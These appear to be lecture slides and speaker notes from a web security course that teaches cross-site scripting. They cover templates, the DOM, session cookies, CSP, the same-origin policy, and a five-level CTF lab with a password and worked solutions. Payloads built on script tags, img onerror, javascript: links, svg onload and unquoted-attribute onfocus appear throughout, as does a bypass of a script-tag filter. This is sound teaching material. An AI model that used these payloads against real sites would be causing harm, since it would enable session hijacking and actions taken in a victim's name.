SQL injection attacked the server. Now follow the trip back: the server fills a page template, and the browser builds the page and runs its scripts. Steps seven and eight. This is the setup for cross-site scripting.
[ +] chase.com answers with rules, then the page
curl -sv https://www.chase.com/ (Oct 26, 2026) HTTP/2 200 content-type: text/html; charset=utf-8 strict-transport-security: max-age=31536000 x-frame-options: SAMEORIGIN content-security-policy: frame-ancestors 'none' x-xss-protection: 1; mode=block <!DOCTYPE html><html lang="en"> ... HSTS, from the TLS unit, forces HTTPS for a year. These two forbid other sites from framing the page. X-XSS-Protection asked older browsers to block reflected XSS. Chrome removed its filter: it could leak data and be bypassed. Chase | Credit Cards, Mor… https://www.chase.com/ The page is the body. The headers are rules the server gives your browser, and the server chooses them.
Here is the real answer chase.com sent me on October 26, from curl. The status, then headers, then the page. The green headers are security rules that chase.com gives your browser. Strict-Transport-Security, from the TLS unit, forces HTTPS for a year. X-Frame-Options and the frame-ancestors policy forbid other sites from framing the page; that stops an attack called clickjacking, at the end of the unit. X-XSS-Protection: 1; mode=block asked older browsers to block the page if their built-in filter detected reflected cross-site scripting. Chrome removed its XSS Auditor in version 78 because it could leak information across sites and attackers could bypass it. A server can still send this old header, but modern XSS defenses include context-aware output encoding, safe DOM APIs, and a separate Content Security Policy that restricts scripts. The frame-ancestors policy shown here prevents framing; it does not restrict scripts. The server chooses these rules, so the server decides which protections the page gets.
[ ?] How does the server put your name in a page?
The template is HTML with holes in it. <h1>Hello, {{ name }} </h1> <p>Balance: $ {{ balance }} </p> The data comes from the database: name = "Alice" balance = 1250 The code produces this HTML: <h1>Hello, Alice </h1> <p>Balance: $ 1250 </p> Chase https://www.chase.com/home Hello, Alice Balance: $1250 One template greets millions of users. Search results, comments, and profiles are built the same way. The browser reads the finished page as HTML, including every part that a user typed.
The second crossing is HTML. Servers build pages from templates: HTML with holes, marked here with double braces. The code fills each hole with data, Alice and 1250, and the browser draws it: Hello, Alice. One template greets millions of users, and search results, comments and profiles are all built this way. The browser reads the finished page as HTML, all of it, including every part that a user typed.
[ +] Sites repeat what users type, now or later
Some text comes back right away, to you. You search for a word. The page says: results for that word. Only you see it. Other text is saved and shown to all. You post a comment. The site saves it. Every visitor sees it. Search pages and error messages work this way. Comments, reviews, and profiles work this way. Now imagine the text is HTML. Who runs it, and when? Text shown right away reaches one victim. Text that is saved reaches every visitor.
Sites repeat user text in two ways, and the difference matters later. Some pages repeat your text right away, and only you see it: a search page, or an error message. Other pages save your text and show it to everyone later: comments, reviews, profiles, messages. Now imagine the text is HTML. In the first case it runs in one browser; in the second, in every visitor’s browser. That is the difference between reflected and stored cross-site scripting.
[ !] Both crossings break in the same way
The data lands in SQL. WHERE name = ' O'Brien ' The quote ends the data early. The rest becomes part of the query. The data lands in HTML. <p>Hi, <b>Bob</b> </p> The tag ends the text early. The rest becomes part of the page. SQL injection attacks the server. Cross-site scripting attacks other users. Same mistake: the program glues data into code, and one special character ends the data. Two languages, two attacks, one mistake. The defenses will look alike too.
You just saw this in SQL; HTML breaks the same way. If the data lands in SQL and contains a quote, the quote ends the data early and the rest becomes part of the query: SQL injection, an attack on the server. If the data lands in HTML and contains a tag, the tag ends the text early and the rest becomes part of the page: cross-site scripting, an attack on other users. The same mistake, in two languages: the program glues data into code, and one special character ends the data.
[ +] The browser turns HTML into a tree, then a screen
<html><body> <h1>Hello, Alice</h1> <p id="bal">$1,250</p> <form> <input name="to"> </form> </body></html> This is the text that arrives. body h1 p#bal form input The browser builds this tree, the DOM. Chase https://www.chase.com/home Hello, Alice $1,250 The screen is drawn from the tree. Change the tree, and the screen changes at once. Scripts are what change the tree. The screen shows the tree, not the text that arrived. That is why View Source and the screen can differ.
The browser parses the HTML text into a tree of objects called the DOM. Each tag becomes an object: body contains a heading, a paragraph with the balance, and a form. The browser draws the screen from that tree, not from the original text, which is why View Source and the screen can differ, as in CTF level one. And the tree is live: change an object and the screen changes at once. The thing that changes it is JavaScript.
[ +] A script can rewrite anything on the page
three lines of JavaScript <script> const b = document.getElementById("bal"); b.textContent = "$0.00"; b.style.color = "red"; </script> Before chase.com/home Hello, Alice $1,250 After chase.com/home Hello, Alice $0.00 Nothing went to the server. The page changed itself. Every modern site runs JavaScript. The chase.com home page loads 13 script files. Each of them can rewrite anything on the page. Whoever runs a script in the page decides what the page shows and does.
Here is a three-line script. It finds the paragraph with id bal and sets its text to zero dollars, in red. Before and after look completely different, and nothing went to the server. JavaScript is a full programming language running inside the page, and every modern site uses it; the chase.com home page loads thirteen script files. Whoever runs a script in the page decides what the page shows and does.
[ +] Code can enter a page through many doors
Code can enter a page through many normal features: <script> alert(1) </script> It runs when the page loads. <img src="logo.png" onerror=" alert(1) "> It runs when something happens, here when the image fails to load. <a href=" javascript:alert(1) ">Click</a> It runs when you click the link. <svg onload=" alert(1) "> Many other tags have event handlers too. A filter that only blocks the word script misses most of the doors. Cross-site scripting starts here.
How does code get into a page? Through several doors, and every one is a normal feature. A script tag runs code when the page loads. An event attribute, like onerror, runs code when something happens; here, when an image fails to load. A javascript link runs code when you click it. And many other tags have event handlers too. So a filter that only blocks the word script misses most of the doors. Cross-site scripting starts here.
[ !] innerHTML reads text as HTML, textContent does not
A comment contains this exact string: <b>Hi</b><img src=x onerror="alert(1)"> box.innerHTML = comment The browser creates an HTML image. Hi The broken image fires onerror. box.textContent = comment The browser creates plain text. <b>Hi</b><img src=x onerror="alert(1)"> The same string becomes elements on the left and visible text on the right. Use textContent for untrusted text. It cannot create an image or run its handler.
A comment contains one string: a bold Hi followed by an image with an onerror handler. When a script assigns that string to innerHTML, the browser parses it, creates a bold element and an image, and the broken image fires the handler. When the script assigns the same string to textContent, the browser creates a plain text node. No image exists, so no handler runs. The key difference is whether untrusted text becomes HTML elements or stays text.
[ +] How does chase.com remember who you are?
This is Alice’s browser. This is Chase’s server. POST /login Set-Cookie: session=8f3a9c71 GET /accounts Cookie: session=8f3a9c71 The session number leaves in a response and returns in a later request.
Alice logs in once. The server responds with Set-Cookie, giving her browser a session number. On a later GET request, the browser sends that same number in the Cookie header. The following slides explain why the server needs a session and how it looks up Alice from that number.
[ ?] Why does the server forget you?
This is Alice. This is chase.com. POST /login name=alice, pw=hunter2 Welcome, Alice. GET /accounts Who are you? Please log in. Each request arrives alone. HTTP has no memory of the one before. After login, every request must carry proof that says: I am the one who logged in.
HTTP was designed to be stateless. Alice logs in; the server checks her password and says welcome. Then she asks for her accounts, and that second request carries nothing that ties it to the first, so the server has no idea who she is. After login, every single request has to carry some proof that says: I am the one who logged in a minute ago. That proof is the cookie.
[ +] A session works like a coat check
This is ticket 47. You hand over your coat and get ticket 47. It hangs on hook 47. The coat check writes: 47 is your coat. POST /login pw=hunter2 Set-Cookie: session=8f3a9c71 session user 8f3a9c71 alice GET /accounts Cookie: session=8f3a9c71 The server finds Alice. The cookie is the ticket. The browser shows it on every request, and the server looks it up.
Think of a coat check. You hand over your coat, it goes on hook 47, and you get a ticket with 47 on it. The web works the same way. You log in once with your password. The server writes in its table: session 8f3a belongs to Alice, and hands your browser a ticket in a Set-Cookie header. From then on, the browser shows the ticket on every request, in a Cookie header, and the server looks it up.
[ +] A response sets a cookie; a later request sends it
1. Chase sends a cookie in the HTTP response. Real Chase response, October 26, 2026 HTTP/2 200 set-cookie: dps-pod-id=02EA; Path=/; Domain=.chase.com; Secure; HttpOnly The browser stores the name, value, and rules. 2. The browser sends the name and value in a later HTTP request. GET /web/auth/dashboard HTTP/1.1 Host: secure.chase.com Cookie: dps-pod-id=02EA The response has Set-Cookie. A later request to the matching site has Cookie.
This example uses one real Set-Cookie header from a Chase response on October 26, 2026. The response header tells the browser to store dps-pod-id with value 02EA and the rules that follow. The lower request is illustrative: when the browser later requests a matching Chase URL, its Cookie request header carries only dps-pod-id=02EA, without Domain, Path, Secure, or HttpOnly. Those attributes are storage and sending rules, not values copied into the request. This particular Chase cookie is an example of cookie transport; it is not presented as a login session cookie.
[ ?] What if the ticket says whose coat it is?
A tempting shortcut: write the name. Cookie: user=alice The attacker edits it, as in CTF level 5. Cookie: user=bob The server shows Bob’s balance. Real sites use a random number. Cookie: session=8f3a9c71e24b session user expires 8f3a9c71e24b alice 17:40 The number means nothing by itself. There are 2^128 possible numbers to guess from. The server keeps the meaning. The browser keeps only a random number that points to it.
A tempting shortcut: why keep a table at all? Just write the user name into the cookie. But the cookie sits on the client, and you changed exactly this in CTF level five: the attacker edits user equals alice to user equals bob, and the server shows Bob’s balance. What real sites do: the browser holds only a long random number, and the server’s table says it belongs to Alice and expires at 17:40. A random 128-bit number cannot be guessed.
[ !] A session cookie is as good as a password
session=8f3a9c71e24b Whoever shows this number is Alice. It is a bearer token, like cash. Steal it on the network. Firesheep did this in 2010. HTTPS ended it. Steal it with a script in the page. This is cross-site scripting, coming up next. Do not steal it. Make Alice’s browser use it. This is request forgery, after that. A session cookie is as good as a password. Every later attack wants it, or wants to borrow it.
Notice what we built. The number is a bearer token: whoever shows it is Alice, like cash. So an attacker has three ways in. Steal it on the network: in 2010, a Firefox add-on called Firesheep did exactly that on coffee-shop Wi-Fi, and HTTPS everywhere ended it. Steal it with a script running inside the page: that is cross-site scripting, coming up next. Or do not steal it at all: make Alice’s own browser use it. That is request forgery, after that.
[ +] A cookie carries rules about where it may go
The rules after the semicolons say where the cookie may go. Domain=chase.com Every subdomain gets the cookie too. It matters for request forgery. Max-Age=31536000 The cookie lives for one year. Secure The cookie only travels over HTTPS. It ended Firesheep. HttpOnly Scripts in the page cannot read it. It matters for cross-site scripting. SameSite=Lax Cross-site subrequests omit it; top-level GET links may include it. It matters for request forgery. This complete response header sets one cookie: Set-Cookie: session=8f3a9c71; Domain=chase.com; Path=/; Max-Age=31536000; Secure; HttpOnly; SameSite=Lax The request sends only session=8f3a9c71; these attributes stay in the browser.
The words after the semicolons are attributes. Domain says which hosts receive the cookie; with Domain=chase.com, Chase subdomains also receive it. Max-Age gives the lifetime. Secure means HTTPS only. HttpOnly keeps scripts from reading it. SameSite=Lax restricts when another site can cause the browser to send it. The two green lines are one complete Set-Cookie response header, wrapped for the slide: the name and value come first, followed by Domain, Path, Max-Age, Secure, HttpOnly, and SameSite. Path=/ makes it eligible on every path at the matching host. On a later request, the Cookie header contains only session=8f3a9c71; the attributes stay in the browser.
[ ?] What can a script in the page do?
It can read the page’s cookies, unless they are HttpOnly. It can read every word on the page, including your balance. It can record every key you press, including your password. It can send requests to chase.com as you, cookie included. It can redraw the page, for example a fake login form. A script inside chase.com’s page has every power chase.com’s own scripts have. That is what XSS steals.
Let me make the power concrete, because this is exactly what an attacker gets from cross-site scripting. A script running in chase.com’s page can read its cookies, unless they are HttpOnly. It can read every word on the page, your balance included. It can record every key you press, including your password. It can send requests to chase.com as you, cookie included. And it can redraw the page, for example a fake login form. It has every power chase.com’s own scripts have.
[ !] XSS runs attacker code inside the trusted page
The attacker posts a comment to a vulnerable Chase page. evil.io controls the comment. <img src=x onerror=alert(1)> Chase inserts it as HTML. Alice opens the Chase page. https://www.chase.com The handler runs here. Code inside Chase’s page gets Chase’s permissions, whoever wrote it.
The attacker submits a comment containing an image with an error handler. A vulnerable Chase page inserts the comment as HTML instead of treating it as text. When Alice opens that page, the browser creates the image, its handler runs, and that code has the Chase page’s origin. The browser grants access based on the page where code runs, not on who wrote the comment. That is why a cross-site script can read or change Chase content even though evil.io cannot directly inspect the Chase page.
[ x] XSS makes a browser run attacker-written code.
An attacker supplies text. A site places it in a page. A visitor opens the page. XSS happens when that text becomes code in the visitor’s browser.
Cross-site scripting, or XSS, happens when a site lets attacker-controlled text become executable code in a page that another visitor opens. The browser then treats the code as part of that site.
[ +] XSS repeats the SQL injection mistake in a browser.
SQL injection changes a query. data -> SQL parser -> query XSS changes a page. data -> HTML parser -> script The bug begins when a parser reads data as instructions.
The SQL lesson was that input must not change the query tree. In XSS, input must not change the page tree. HTML parsing happens in the visitor’s browser.
[ +] Four questions will guide our XSS investigation.
Where did the text become code? What can that code do? Which defense keeps it as text? Where else can scripts arrive? We will ask the same four questions that guided the SQL lecture.
The lecture follows the same four questions as the SQL injection unit. Each lab level appears immediately after the concept needed to solve it.
[ ?] How does a search word become code?
Level 1 begins with a search result that repeats your input.
We first look for the exact place where a search word crosses into HTML.
[ x] The search page reflects input into its HTML.
An attacker shares a search URL. The server builds HTML. The browser parses it. html = "<b>" + q + "</b>" For q = "loan", the page sends <b>loan</b>. A search value becomes markup when the page inserts it raw.
An attacker can share a search URL that carries their text. The server inserts its q parameter directly between bold tags. With the harmless value loan, the response contains loan . This is reflected XSS when attacker-controlled text changes the returned HTML tree.
[ !] One tag changes the shape of the page.
The intended page has a text leaf. <b> "mortgage" The injected page has a script node. <b> <script>...</script> The critical change is the page tree, not the visible search word.
The same bold element can contain a text node or a script node. The harmless word mortgage stays text. If raw input contains a script tag, the HTML parser creates a script element beneath the bold element. The browser executes that element.
[ >] Level 1 turns a search word into page code.
Make the search preview call labSolved(). The server puts your search word between bold tags. html = "<b>" + q + "</b>" Level 1 is open, but you must choose a nickname before solving. http://165.22.35.184:54333 Choose one nickname and keep this browser open. You have 5 minutes. The preview shows your flag and the next play code.
Level 1 is open, but students must choose a nickname on the lab home page before the site records a solve. They should keep the same browser open. Make the search preview call labSolved(). The server puts your search word between bold tags. Students have 5 minutes. The preview records a solve when it calls labSolved().
[ +] Level 1 turns search text into a script.
The server places the search word into HTML. This input makes the isolated preview call labSolved(). <script>labSolved()</script> "<b>" + q + "</b>" "<b>" + escape_html(q) + "</b>" Encode the search word when it enters HTML.
This is the level 1 solution. The server places the search word into HTML. The proof input calls labSolved() only inside the isolated lab preview. Encode the search word when it enters HTML.
[ +] A saved comment can reach later visitors.
One person posts a comment. The site saves it. Later visitors read it. html = "<div>" + saved_comment + "</div>" Saving the comment delays execution until a visitor loads the page.
In the second lab level, a comment is saved first. When a simulated visitor opens the comment page, the server inserts the saved value into HTML. The browser then parses it.
[ >] Level 2 shows a saved comment to a visitor.
Save a comment that makes the visitor preview call labSolved(). The visitor page inserts the saved comment as HTML. html = "<div>" + saved_comment + "</div>" Level 1 shows this play code beside its flag. http://165.22.35.184:54333/level2 Enter that code to open this level. You have 6 minutes. The preview shows your flag and the next play code.
The level 2 play code appears beside the level 1 flag on the lab site. Students enter it on the locked level page. Save a comment that makes the visitor preview call labSolved(). The visitor page inserts the saved comment as HTML. Students have 6 minutes. The preview records a solve when it calls labSolved().
[ +] Level 2 runs a saved comment for a visitor.
The saved comment becomes code when a visitor opens the page. This input makes the isolated preview call labSolved(). <script>labSolved()</script> "<div>" + saved_comment + "</div>" "<div>" + escape_html(saved_comment) + "</div>" Encode the stored comment when a visitor sees it.
This is the level 2 solution. The saved comment becomes code when a visitor opens the page. The proof input calls labSolved() only inside the isolated lab preview. Encode the stored comment when a visitor sees it.
[ +] XSS reaches the page through three common paths.
Reflected text comes from this request. Stored text comes from an earlier post. DOM text is copied by page JavaScript. The entry paths differ, but each path can change the browser’s page tree.
A reflected payload arrives in the current request. A stored payload is saved and shown later. DOM-based XSS happens when client-side JavaScript copies untrusted data into an HTML parsing API.
[ x] A URL fragment can trigger browser-only XSS.
/welcome#name name = location.hash.slice(1) message.innerHTML = name The URL fragment stays in the browser; innerHTML parses it as HTML.
A fragment after the hash sign is not sent in the HTTP request. The page’s own JavaScript can still read it. Assigning it to innerHTML parses it as HTML; assigning it to textContent would keep it as text.
[ ?] What can code inside a trusted page do?
It can use the authority that the site gives its own scripts.
A browser grants the injected script the same page context as the site’s intended scripts. The exercise uses only the isolated proof function.
[ x] Injected code gets the page’s own authority.
It can read a balance shown on the page. It can submit a form as the signed-in visitor. It can replace a notice with a fake one. The lab proves execution with labSolved() and contains no real accounts.
A script in a site page can read a displayed balance, submit a form using the visitor’s session, or replace a notice. These are examples of the page authority that an injected script receives. The lab replaces harmful actions with a harmless call to labSolved().
[ +] HttpOnly hides cookies while XSS still runs.
The server sets this session cookie in its response. Set-Cookie: session=8f3a9c71; Path=/; Secure; HttpOnly document.cookie The session value is absent. GET /accounts Cookie: session=8f3a9c71 The browser still sends it to Chase. HttpOnly hides the value from JavaScript, but injected code can still send requests.
The server sends Set-Cookie with HttpOnly. The browser stores the session value, but document.cookie omits this cookie, even for a script running in the page. The browser still attaches the cookie to eligible requests to Chase, so an injected script may still act as the signed-in visitor through the page. HttpOnly limits one consequence of XSS; safe output handling must prevent the injected code from running in the first place.
[ x] Stored XSS can spread like a worm.
A profile contains code. Visitors run that code. Their profiles copy it. The Samy worm spread through MySpace profiles in 2005. Stored XSS can spread when the script posts itself again.
The Samy worm on MySpace in 2005 was a real example of stored XSS that copied itself through profile views. This slide emphasizes the feedback loop rather than its historical payload. See https://samy.pl/myspace/ for the source.
[ ?] How do we keep user text from becoming code?
We will test each defense against the browser’s parser.
The central test for each defense is whether untrusted text remains a text node in the final page. The next lab levels challenge a filter and an unquoted attribute.
[ x] A literal script tag filter leaves another path.
The filter strips two exact tag strings. An image error event can also run JavaScript. A script tag filter misses other HTML that can run code.
The third lab level deletes the exact opening and closing script tags. The browser also runs JavaScript from event attributes; an image error is one such event. The diagram supplies that idea without showing a complete proof input. A blocklist guesses syntax instead of keeping text as text.
[ >] Level 3 deletes literal script tags first.
Make the filtered search preview call labSolved(). The filter deletes only exact script tag strings. q = q.replace("<script>", "").replace("</script>", "") Level 2 shows this play code beside its flag. http://165.22.35.184:54333/level3 Enter that code to open this level. You have 6 minutes. The preview shows your flag and the next play code.
The level 3 play code appears beside the level 2 flag on the lab site. Students enter it on the locked level page. Make the filtered search preview call labSolved(). The filter deletes only exact script tag strings. Students have 6 minutes. The preview records a solve when it calls labSolved().
[ +] Level 3 succeeds with a different HTML element.
An image error handler survives the script tag filter. This input makes the isolated preview call labSolved(). <img src=x onerror=labSolved()> q.replace("<script>", "").replace("</script>", "") "<b>" + escape_html(q) + "</b>" Encode the search text instead of guessing bad tags.
This is the level 3 solution. An image error handler survives the script tag filter. The proof input calls labSolved() only inside the isolated lab preview. Encode the search text instead of guessing bad tags.
[ +] HTML encoding keeps a payload as text.
<script>... <script>... The browser draws text. Encode untrusted text at the moment it enters the page.
For an HTML text node, encode characters such as the less-than sign before placing input into the response. The browser then displays the characters without creating an element. The same rule applies when text comes back from a database.
[ x] An unquoted attribute needs a different rule.
The page does this. <input value=hello world> value=hello world="" The corrected page quotes the value. <input value="hello world"> value="hello world" 1. The input is: hello world Escaping leaves the space. 2. The server writes: <input value=hello world> 3. The browser parses: value="hello"; world="" The space splits attributes. Quote the value and encode it for the HTML attribute.
The fourth lab level HTML-encodes input, then places it inside an unquoted value attribute. Walk through hello world: HTML escaping leaves its space unchanged. The server writes <input value=hello world>. The HTML parser treats the space as an attribute separator, so the DOM has value="hello" and a separate empty world attribute. This harmless input shows where an attacker could add an event attribute. Quoting the value keeps the space inside one attribute; arbitrary input must also be encoded for that quoted HTML attribute.
[ +] Recap: The browser builds the DOM from HTML.
<div> q </div> The site replaces q before the browser parses this HTML. A visitor enters hello. q = "hello" The attacker submits the same payload in both views. q = "<img src=x onerror=labSolved()>" Hello becomes a text node. The developer expects only text. The browser actually parses HTML. <div> #text "hello" The page shows hello. <div> #text "<img src=x onerror=labSolved()>" This expected tree never occurs. <div> <img> @src="x" @onerror="labSolved()" The image error runs the handler. Raw input inside HTML is parsed as HTML, even when the developer expects text.
The developer uses a conceptual template, div opening tag, q, div closing tag. The server substitutes q into the response HTML. With q equal to hello, the browser creates a div with one text child. The attacker instead supplies an img tag with an onerror handler. The middle tree is only the developer’s mistaken expectation: a div with the whole attack string as a text child. Raw substitution does not produce that tree. The browser actually parses the substituted HTML and creates an img child of the div. The dotted @src and @onerror branches are a teaching notation for attributes attached to the img element; they are not literal child nodes in the DOM API. The image source x fails to load, so the browser fires an error event and runs labSolved() in the isolated lab preview. Encoding the input or inserting it with textContent would make the middle text-only tree real. Level 4 will create an event attribute on an existing input element instead of creating an img element.
[ >] Level 4 puts encoded text in an unquoted value.
Make the visitor preview call labSolved() after you focus the field. Spaces still separate attributes in an unquoted value. html = "<input value=" + escape_html(value) + ">" Unlock Level 4 with this password. ladder-kayak-464 http://165.22.35.184:54333/level4 Level 3 also shows this code beside its flag. You have 7 minutes. The preview shows your flag and the next play code.
The level 4 unlock password is ladder-kayak-464. Level 3 also reveals it beside its flag. Make the visitor preview call labSolved() after you focus the field. Spaces still separate attributes in an unquoted value. Students have 7 minutes. The preview records a solve when it calls labSolved().
[ +] Level 4 splits one value into two attributes.
The attacker submits this profile value. x onfocus=labSolved() The page HTML-encodes the value, but the space remains. <input value=x onfocus=labSolved()> The browser creates two attributes. <input> @value="x" @onfocus="labSolved()" Focusing the field runs the handler. Quotes keep the input in one attribute. <input value="x onfocus=labSolved()"> <input> @value="x onfocus=labSolved()" The unquoted space adds onfocus; quoting the value keeps it as data.
[ +] Browser events can run JavaScript handlers.
An event happens first; the browser then calls its JavaScript handler. An image fails to load. The browser fires error, then runs onerror. <img src="missing.png" onerror="showError()">
Trigger the error
Click to try.
An image finishes loading. The browser fires load, then runs onload. <img src="check.svg" onload="showLoaded()">
Trigger the load
Click to try.
Focusing, typing, and hovering fire different events. onfocus="..." oninput="..." onmouseenter="..."
Hover here
Move the mouse.
These are examples; browsers also fire click, keydown, submit, and SVG begin events.
An event is the browser’s report that something happened. An img element whose source fails gets an error event; the onerror attribute contains JavaScript that the browser then runs. A successfully loaded img gets a load event; its onload attribute runs instead. The two buttons start harmless image requests, and their actual onerror and onload attributes update the status text and open an in-slide popup. The field at the bottom has onfocus and oninput attributes. Press Tab until the field receives focus, close the popup, then type a character to fire input and open the popup again. Moving the pointer onto the Hover here button fires mouseenter and opens the popup without a click. Hover alone does not focus a button. These five live examples demonstrate that the attribute name says when its JavaScript runs. The displayed HTML examples use named handler functions, while the live examples use small inline status updates. Other event handlers include onclick, onkeydown, onsubmit, and the SVG onbegin handler. The list is not exhaustive. In the lab, the proof function labSolved() replaces the harmless popup behavior.
[ +] The server sends CSP in an HTTP response header.
The browser requests a page. The web server returns HTML. GET /profile HTTP response HTTP/1.1 200 OK Content-Security-Policy: script-src 'self' Content-Type: text/html <html>...</html> The app or web server adds the policy to the response header. The browser enforces it while loading that document. A separately opened SVG document needs a policy on its own response.
Content Security Policy is usually sent by the web application or reverse proxy as a Content-Security-Policy HTTP response header. This example shows the request for /profile, followed by an HTML response whose headers contain script-src self. The header is separate from the HTML body. The browser reads the policy and enforces it for the protected document while loading scripts. A separate SVG opened as a document needs its own CSP response header; the HTML page policy does not automatically become the SVG document policy. An HTML meta http-equiv policy is possible in some cases but supports fewer CSP features than an HTTP header. See https://developer.mozilla.org/en-US/docs/Web/HTTP/Guides/CSP.
[ +] Content Security Policy checks scripts before they run.
The server sends a Content Security Policy header. Content-Security-Policy: script-src 'self' Before running code, the browser checks where it came from. A same-origin script file is allowed. <script src="/app.js"></script> The browser loads /app.js. Inline handlers are blocked. <img src=x onerror="labSolved()"> The HTML still contains the image. The 'self' rule still trusts every same-origin script file. CSP is a second execution gate; it does not repair injected HTML.
Content Security Policy is a browser-enforced defense supplied by the server in a response header. The script-src self policy allows external JavaScript files from the page’s own origin, such as /app.js. It blocks ordinary inline script elements and event handler attributes such as onerror because the policy does not include unsafe-inline. This is a second gate after HTML parsing: the img element can still appear in the DOM, but its handler cannot execute under this policy. The policy is not perfect. A broad rule or an attacker-controlled JavaScript file served from the same origin may still run; allowed scripts can have their own bugs. CSP does not make unsafe HTML safe, so output encoding remains the primary defense. The next slide shows how a nonce permits specific intended inline scripts. Then we compare CSP with SOP, show the browser enforcing SOP, and define origin.
[ +] A nonce marks the inline scripts the server approved.
Problem: The 'self' rule blocks inline scripts, including the site's own. <script>init()</script> blocked The server chooses a new random token for each response. Content-Security-Policy: script-src 'self' 'nonce-r4Nd0m' <script nonce="r4Nd0m">init()</script> allowed <script>labSolved()</script> blocked The browser compares each inline script with the header. The injected script has no matching nonce. A nonce re-allows approved inline code without allowing every inline script.
The previous self policy blocks every inline script, including an inline setup script that the site itself intends to run. A nonce solves that specific problem without turning on unsafe-inline. For each response, the server generates a fresh unpredictable token, puts it in the script-src policy, and puts it on intended inline script elements. The browser compares the token before executing inline code. The marked init script is allowed; an injected script without the nonce is blocked. The toy string r4Nd0m is only a visible example, not a safe nonce generator. The policy still allows same-origin external files because it includes self. A nonce does not remove injected markup, and a page must avoid copying a nonce onto attacker-controlled script elements. This slide extends the previous CSP rule rather than introducing a separate defense family.
[ +] CSP and SOP protect different browser actions.
We just used a nonce in Content Security Policy (CSP). Content Security Policy (CSP) The server sends a rule about scripts. script-src 'self' The browser enforces that rule. Same-Origin Policy (SOP) It blocks reads across origins. evil.io -> chase.com The browser enforces it by default. CSP comes from a server header; SOP is built into the browser. CSP checks script execution. SOP checks cross-origin reads.
Content Security Policy, or CSP, is a server-supplied response header that the browser enforces. The CSP and nonce slides just showed how it limits script execution. Same-Origin Policy, or SOP, is a separate rule built into the browser: scripts on one origin cannot inspect another origin’s page. SOP is not a server-side protection. Both rules use the browser’s definition of origin, but they govern different actions. Server-side authorization is still needed because SOP does not stop requests from arriving at a server. The next slide shows the browser comparing evil.io and Chase; the slide after that defines scheme, host, and port. XSS puts attacker code inside the trusted site, where SOP treats it like that site’s own script.
[ +] SOP blocks cross-origin reads by default.
Alice has one browser tab open: evil.io. evil.io page fetch("https://www.chase.com/") Its JavaScript wants the reply. Browser origin check The request goes out. JavaScript cannot read the body. www.chase.com server HTTP response HTML response body evil.io cannot read a Chase iframe’s DOM. XSS in Chase’s page can read its DOM. SOP is a browser read rule; the request still reaches the server.
Only the evil.io tab is open in this example. Its JavaScript calls fetch on https://www.chase.com/. The request can reach the Chase server, which sends an HTML response. Without permission from Chase through CORS, the browser does not expose the response body to the evil.io script. This is a browser rule about what page JavaScript can read; it does not prevent a request from reaching a server. The same-origin policy also prevents an evil.io page from inspecting the DOM of a Chase page in a cross-origin iframe or referenced window; a second tab is not required. A Chase page may separately block embedding with frame-ancestors or X-Frame-Options. An XSS payload executing inside a Chase page uses that page’s origin, so it can inspect that page’s DOM. The origin is the document’s origin, not the download location of an external JavaScript file. The next slide defines scheme, host, and port.
[ +] An origin consists of scheme, host, and port.
https://www.chase.com:443/accounts https The scheme is HTTPS. www.chase.com The host names the site. 443 Port 443 counts toward the origin. Port 443 counts in the origin; the path /accounts does not. https://www.chase.com:443/app.js Only the path changes, so the origin matches. https://cdn.chase.com:443/app.js The host changes, so the origin differs. CSP ‘self’ and SOP both compare scheme, host, and port.
An origin is exactly the scheme, host, and port from a URL. The path is not part of the origin. The example page is https://www.chase.com:443/accounts. A script file at /app.js on the same scheme, host, and port is same-origin even though its path differs. A file on cdn.chase.com is different-origin because its host differs; changing https to http or port 443 to 8443 would also change the origin. CSP uses this comparison for self, and SOP uses it for cross-origin reads. A default HTTPS port can be written explicitly as 443 or omitted without changing the origin.
[ ?] What else can make a browser run untrusted code?
An uploaded SVG document can run code when a visitor opens it.
The final question extends the browser-code boundary beyond ordinary HTML injection. A site may serve an uploaded SVG as a document. An opened SVG document can run its own script or event handler.
[ +] XSS has several ways to run code.
A script tag in the response can run. <script>labSolved()</script> The browser parses the response HTML. An image error attribute can run. <img src="x" onerror="labSolved()"> The missing image fires onerror. A scriptable link can run after a click. <a href="javascript:labSolved()"> Open</a> The visitor follows the link. An opened SVG can run a load handler. <svg xmlns="http://www.w3.org/2000/svg" onload="labSolved()"></svg> The browser opens the SVG document. These four patterns are examples; other elements and events add more routes.
These four complete HTML or SVG examples show representative execution patterns; they are not an exhaustive list of XSS syntax. A search result, saved comment, URL fragment, or uploaded file may supply the attacker-controlled string. A script tag in the server response runs during HTML parsing. A script tag added with innerHTML usually does not run, but an event attribute on an element created by innerHTML can fire, as the earlier DOM tree slide showed. The img example fires onerror when its src fails. A javascript: URL in a link needs a click or another triggering navigation. An opened SVG document can fire its load handler; an SVG shown only through an img element does not get the same script behavior. A content security policy may block inline execution in real pages. The lab examples use labSolved() to prove execution in an isolated preview. Level 4 already showed that an unquoted value can introduce a new event attribute on an existing input element.
[ x] An uploaded SVG document can run code when opened.
A user uploads an SVG document. The site serves the document. A visitor opens it directly. <svg><script>alert(1)</script></svg> A separate upload origin confines any script in the SVG document. An SVG used as an image does not run its scripts.
A standalone SVG document can contain a script element, as the compact example shows. When opened directly as a document, the browser may execute that script. The same SVG loaded as an ordinary image does not execute scripts. Serve user uploads from a separate origin so a script in an opened document does not receive the main site’s origin. See https://developer.mozilla.org/en-US/docs/Web/SVG/Guides/Scripting for the source.
[ +] An SVG animation fires beginEvent when it starts.
This SVG changes opacity, beginning at time zero. <rect width="120" height="80"> <animate attributeName="opacity" from="0" to="1" begin="0s" dur="1s" onbegin="markStarted()"/> </rect> The animation starts at 0 seconds. begin="0s" This sets the start time. beginEvent The browser reports the start. onbegin="markStarted()" This handler runs JavaScript. An event attribute can run code even when script tags are forbidden.
Read the SVG code from left to right. The animate element changes a rectangle’s opacity from zero to one. The begin attribute with value 0s only schedules the animation; it is not JavaScript. At the start time, the browser dispatches beginEvent. The onbegin attribute is an event handler containing JavaScript, so it calls markStarted() in this harmless example. This is the same event model as the earlier onload, onerror, and onfocus demos, but the SVG animation has its own event name. A filter that allows animation elements and their onbegin attribute lets code run when the SVG is opened as a document. An SVG loaded as an ordinary image cannot run its script. See https://developer.mozilla.org/en-US/docs/Web/API/SVGAnimationElement/beginEvent_event for the event and https://developer.mozilla.org/en-US/docs/Web/SVG/Guides/Scripting for the document-versus-image distinction.
[ >] Level 5 tests an SVG animation filter.
Make the SVG document call labSolved() through an animation event. The editor allows opacity animations and misses an event attribute. Allowed elements: rect, circle, g, text, animate. Script is rejected. Level 4 shows this play code beside its flag. http://165.22.35.184:54333/level5 Enter that code to open this level. You have 9 minutes. The preview shows your flag and the next play code.
